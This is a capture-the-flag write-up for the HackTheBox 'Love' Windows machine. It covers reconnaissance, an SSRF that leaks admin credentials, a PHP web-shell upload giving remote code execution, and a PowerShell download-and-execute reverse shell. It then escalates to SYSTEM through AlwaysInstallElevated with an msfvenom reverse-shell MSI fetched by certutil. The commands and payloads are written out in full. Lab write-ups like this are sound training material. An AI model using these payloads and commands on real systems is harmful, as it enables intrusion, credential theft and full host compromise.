PRIMARY CATEGORY β†’ EASY

Summary

  • Trying several SMB Authentication Methods (Netexec)
  • Failed RPC Enumeration
  • Extracting information from a TLS Certificate using OpenSSL
  • Access to externally restricted ports leveraging a Server Side Request Forgery
  • Fuzzing Web Content using Gobuster
  • Authenticated Remote Code Execution via an Arbitrary File Upload
  • Automation of the RCE via File Upload with Python Scripting
  • Using Nishang Reverse TCP Script to stablish a Reverse Connection
  • System Enumeration through PowerUp.ps1 and WinPeas.exe
  • Local PE via the AlwaysInstallElevated Windows Policy
  • Malicious MSI file creation using MSFVenom


Setup

Directory creation with the Machine’s Name

mkdir Love && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

Reference

mkt

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are β†’

  • About 64 β†’ Linux
  • About 128 β†’ Windows
ping -c1 10.129.36.69

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG allPorts 10.129.36.69

Open Ports β†’ 80, 135, 139, 443, 445, 3306, 5000, 5040, 5985, 5986, 7680, 47001, 49664, 49665, 49666, 49667, 49668, 49669 and 49670

Comprehensive Scan

The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard

extractPorts allPorts

Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts

Note that this scan is also exported to have evidence at hand

nmap -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -n -Pn --disable-arp-ping -oN targeted 10.129.36.69
139, 445 - SMB

As usual, let’s take a look at the SMB service and extract some basic information such as β†’

  • Hostname and Domain, if exists
  • Operative System Version
  • SMB Signing
  • SMB Version

We can carry out this task using netexec

nxc smb 10.129.36.69

Since the hostname and domain are the same and the target has no open ports related to a standard Domain Controller such as Kerberos (88) or Ldap (389, 636), we might think that the remote machine is not a Domain Controller

Anyway, let’s add the above hostname to the /etc/hosts file

printf "\n10.129.36.69\tlove" >> /etc/hosts

Now, since we do not have any valid credentials, let’s try to use a Null Authentication to list the SMB Shares on the target

nxc smb love --username '' --password '' --shares

It is not enabled, we can check if the guest account is not disabled

nxc smb love --username 'guest' --password '' --shares

But it is…

Finally, let’s try to authenticate with a random user, sometimes, the target may behave strangely and lets us to list the available shares with a non-existent user

nxc smb love --username 'anyRandomUser' --password '' --shares

And it does not work either

There is nothing else we can test here

Note that the target has SMBv1, so we could think of EternalBlue, but it is probably not vulnerable as the Operative System is a Windows 10

135 - RPC

We could try to reach some RPC Endpoints via the Endpoint Mapper and see if any of them do not require authentication or allow Null Authentication

rpcclient --user '' --no-pass --command 'srvinfo' love

But we get the above error. The same applies if we try with a random user

rpcclient --user 'anyRandomUser' --no-pass --command 'srvinfo' love

We got a Logon Failure error as the user account specified does not exist in the system

There is nothing else we can do here either, let’s move on to the next service!

3306 - MySQL

We do not have any valid credentials either to try to connect to this MySQL/MariaDB Service

But, let’s check if we can initiate a connection to the target using the mysql cli client

mysql --user='anyRandomUser' --password='' --host=love --port=3306 --database=''

Our IP Address is not allowed to stablish a connection to the target’s MySQL Service

Therefore, there is not much we can do here

80, 443, 5000 - HTTP[s]

And we arrive at the web branch, it seems that the target’s entrypoint is on any of this ports, so let’s take a look at them

443 - HTTPs

As it is HTTPS, it is possible that a TLS Certificate has been issued for the website

Thus, we can extract the Common Names section of the Certificate to gather some valid domains or subdomains

openssl x509 -noout -subject < <( openssl s_client -connect love:443 2> /dev/null 0>&2 )

And we got some interesting information β†’

  • A domain (love.htb) and a subdomain (staging.love.htb)
  • A love.htb’s mail account β†’ roy@love.htb

We can add both the domain and the subdomain to the /etc/hosts file as we did with the hostname extracted through SMB

printf "\tlove.htb\tstaging.love.htb" >> /etc/hosts

Roy could be a valid user account. If we get a password somewhere, we could try to authenticate with roy:<PASSWORD>

Inspecting the HTTP Response Headers, we got a 403 Forbidden error

curl --silent --insecure --location --request GET --head 'https://10.129.36.69'

So there is no need to access this website from the brower as we will get the same error and we will not be able to see any web content

At least, we now know that that is not an IIS but an Apache

If Apache is the Web Server and the Operative System of the target is a Windows, we could think of Xampp installed on the system

Xampp’s Default Path β†’ C:\inetpub\wwwroot\<WEB_DIRECTORY>

5000 - HTTP

We could do the same with this port, before access this website from the browser, simply make an HTTP Request to see the HTTP Status Code in the response

curl --silent --request GET --location --head 'http://10.129.48.103:5000'

We get another 403 Forbidden HTTP Error, so we are not allowed to access its web content either

So, let’s move on to the next HTTP Port

80 - HTTP

We can extract Web Technologies using whatweb

whatweb http://10.129.48.103

We see that the Server-Side Programming Language is PHP 7.3.27 and there is a Password Field, so it seems that there is a login form

We could run whatweb again, but this time to check the vhosts love.htb, it might deliver different web content for that domain

whatweb http://love.htb

But it is the same

Another way to check that the content delivered when requesting both is the same, would be to check how many characters or lines are in the HTTP Responses

  • http://10.129.48.103
curl --silent --location --request GET 'http://10.129.48.103' | wc -c
  • http://love.htb
curl --silent --location --request GET 'http://love.htb' | wc -c
438

The characters are the same, therefore, the delivered content is the same

Remember that we got an additional subdomain inspecting the TLS Certificate β†’ staging.love.htb

Let’s run whatweb on it

whatweb http://staging.love.htb

Another PHP web page, this time a Secure File Scanner, this one looks better as the other one seems to have a login form

Let’s inspect both from the browser

Browser-Based Inspection
  • http://love.htb

As mentioned, there is a login form, but we do not have any valid credentials

Note that the first field does not require a user but an ID

We could try to bruteforce that field if we have any valid password

There is nothing interesting in the source code either

  • http://staging.love.htb

There is another form, but this time it seems to be a registration one

So, we might try registering before carry out any type of injection

First, we check if any HTTP Traffic is generated when the submit button is clicked to send the data via an HTTP Post Request

No data is sent when filling in the form fields and clicking submit. Therefore, this form does not work

We have a demo section, if we go to it we get the following content

It is a file scanner


Exploitation

Information Leakage via SSRF

We could check if we receive an HTTP Request to the HTTP Server we build with Python

  • From the Attacker βš”οΈ
python3 -m http.server 8888
  • From the Target🎯

We received the HTTP Request to the HTTP Server and the target gets a 404 Error, so it is working correctly

Before checking for any type of injection or RFI, we check if we can list any local files on the target by requesting it through this file scanner

And we get the content of the file!

Again, before proceed with the enumeration of local files, we could check if a Server Side Request Forgery (SSRF) exists as we can request any type of URL in the field

Remember that we get a 403 Error if we request any content related to the following URLs

  • http://love.htb:5000
  • https://love.htb

So, let’s make another HTTP Request to the above URL but this time to localhost, as it is this file scanner that makes the requests, they will be accessible from there

And we have credentials! Thus, this website cannot be accessed externally, but can be accessed locally

  • admin:@LoveIsInTheAir!!!!

This credentials are not valid for the login form of http://love.htb as it asks for an ID

Since we have a possible system user, roy, let’s validate the above password for this user with netexec

nxc smb love --username 'roy' --password '@LoveIsInTheAir!!!!'

And it is not valid, we do the same for the administrator user

nxc smb love --username 'administrator' --password '@LoveIsInTheAir!!!!'

And it is not either

Authenticated RCE via an Arbitrary File Upload

Let’s fuzz the content of this URL http://love.htb to search for another resources

Since we know that the Server-Side Language Programming is PHP, let’s fuzz by PHP extensions

gobuster dir --threads 100 --extensions php --output webScan.gobuster --wordlist /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt --url http://love.htb

And we get quite a few php resources

One that stands out from the rest is the admin directory, as we have admin credentials

So, let’s take a look to it

And we have another login form, but this one asks for a user and a password. So, we try with the ones we have

And we are in!

It is seems like an Admin Dashboard or something similar

If we go through all the features it has, there is nothing interesting apart from an Update Profile section

This section allows the current user to upload a new profile image

So, we could try to upload another type of file such as a PHP script to see if any validation is done from the Server Side

Enable the browser’s proxy configuration to send all the HTTP traffic generated to the Burpsuite HTTP Proxy, intercept the POST Request related to the Image Upload and send it to the Repeater

First, create a php script to upload it

Upload that file and intercept the HTTP Request to inspect its content

We get a 302 HTP Status Code in the response followed by a 200 OK

We can see in the render section of the HTTP Response that the file has been upload successfully

Therefore, it seems that there is not any type of validation on the Server Side, neither File Magic Numbers nor the Content-Type of the upload input field

To find out the system path where the profile image is stored, just inspect the source code of the dashboard to get the URL of the following image

And it is β†’ http://love.htb/images/cmd.php

If we request the above resource

The code is executed correctly, so we have a Remote Code Execution via an Arbitrary File Upload

Now, we can create another PHP Script with the following content to be able to run any command on the remote machine as the user running the Web Server

<?php system($_GET['cmd']); ?>

Upload the above file and request it by passing it a cmd URL Parameter via GET

And we have a mini PHP Web Shell

Therefore, to be able to generate a reverse shell connection from the target to the attacker proceed as indicated in this section

The entire exploitation process can be automated with this python script

Just proceed as follows β†’

  • Set up the exec environment
python3 -m venv .venv
. !$/bin/activate
pip3 install -r requirements.txt
  • Execute the Python Script
python3 votingSystemRCE.py http://love.htb admin '@LoveIsInTheAir!!!!' 10.10.16.20 4444 8888

See the POC here


Shell as Web User

From the Attacker
curl --silent --request GET --location "https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcpOneLine.ps1" --output rev.ps1
  • Build a Simple HTTP Server to share the above resource
python3 -m http.server 8888
  • Set up a Listening Socket using rlwrap + netcat
rlwrap -CaR nc -nlvp 443
From the Target

As we did before, just request again the uploded php script, but this time specifying the following payload as the value of the cmd URL Parameter

powershell.exe -Command "IEX (IWR -UseBasicParsing -Uri http://10.10.16.20:8888/rev.ps1)

And we get the Reverse connection!

We are in the system as love\phoebe

whoami

We could try to grab the content of the user.txt flag in case that it is in Phoebe’s Desktop

Get-Content C:\Users\Phoebe\Desktop\user.txt

And it is!


Privesc #1

Initial Non-Privileged User β†’ Phoebe

AlwaysInstallElevated

First, we check whether the current user belongs to any system or builtin group for which there is a possibility to perform a privesc

The same applies for the user privileges

whoami /all

The only interesting thing is that the user belongs to the Remote Management Users, since the ports 5985 and 5986 are accessible externally, we could try to connect to the target via WinRM

But remember that we do not have any valid credentials for the user phoebe

We can check the existence of other users in the system as follows

net user

Apart from the Administrator user, there is no one more interesting, so it seems that the privesc will be from the current user to the Administrator user

Let’s check if there are any valid credentials stored of other users

cmdkey.exe /list

And there are not…

At this point, let’s transfer to the target the PowerUp Powershell Script from PowershellEmpire

From the Attacker
  • Download the Powershell Script
curl --silent --request GET --location "https://github.com/PowerShellEmpire/PowerTools/raw/refs/heads/master/PowerUp/PowerUp.ps1" --output powerup.ps1
  • Build a Simple HTTP Server
python3 -m http.server 8888
From the Target
  • Download and Execute the above resource using any available LolBas on the system
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.20:8888/powerup.ps1')

Then, execute the following powershell function to perform all checks

Invoke-AllChecks

Nothing interesting…

We could run a more comprehensive scan such as Winpeas

Thefore, proceed in the same way as for the above resource

  • From the Attacker βš”οΈ
curl --silent --request GET --location "https://github.com/peass-ng/PEASS-ng/releases/download/20250320-91fb36a0/winPEASx64.exe" --output winpeas.exe
python3 -m http.server 8888
  • From the Target 🎯
Invoke-RestMethod -UseBasicParsing -Uri http://10.10.16.20:8888/winpeas.exe -OutFile C:\ProgramData\winpeas.exe

We run winpeas.exe and dump all its output to a file for further analysis from the attacker

C:\ProgramData\winpeas.exe log=C:\ProgramData\winpeas_out.txt

Let’s transfer the above file to the attacker and analyze it

  • From the Attacker βš”οΈ
smbserver.py -smb2support -user 4l3xbb -password 4l3xbb smbFolder $(pwd)
  • From the Target 🎯
net use X: \\10.10.16.20\smbFolder /USER:4l3xbb 4l3xbb
Copy-Item -Path C:\ProgramData\winpeas_out.txt -Destination X:\

Reviewing the file, we find the following sections which seems really interesting

It’s about the AlwaysInstallElevated Windows Policy

This policy allows any user to install (execute) any .msi file as NT Authority\System on the machine

It requires that two registers are enabled, we can check it as follows β†’

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

And there are!

So, we could craft a malicious MSI file using msfvenom and transfer it to the target to run it via msiexec

Thus, proceed as follows β†’

From the Attacker
  • Create the Malicious MSI Payload with msfvenom
msfvenom --payload windows/x64/shell_reverse_tcp LHOST=10.10.16.20 LPORT=443 --platform windows --arch x64 --format msi --out rev.msi
  • Build a Simple HTTP Server to share the created payload
python3 -m http.server 8888
  • Set up a Listening Socket using the TCP Port specified above
rlwrap -CaR nc -nlvp 443
From the Target
  • Download the malicious MSI File
certutil.exe -urlcache -split -f http://10.10.16.20:8888/rev.msi C:\ProgramData\rev.msi
  • Run the MSI File as follows
msiexec.exe /quiet /qn /i C:\ProgramData\rev.msi

And we got the reverse connection!!

So, we are on the remote machine as NT Authority\System 😊

whoami

Just grab the content of the root.txt flag and move on to the next machine!

type C:\Users\Administrator\Desktop\root.txt

Custom Exploits

Voting System RCE

Reference

Zoom In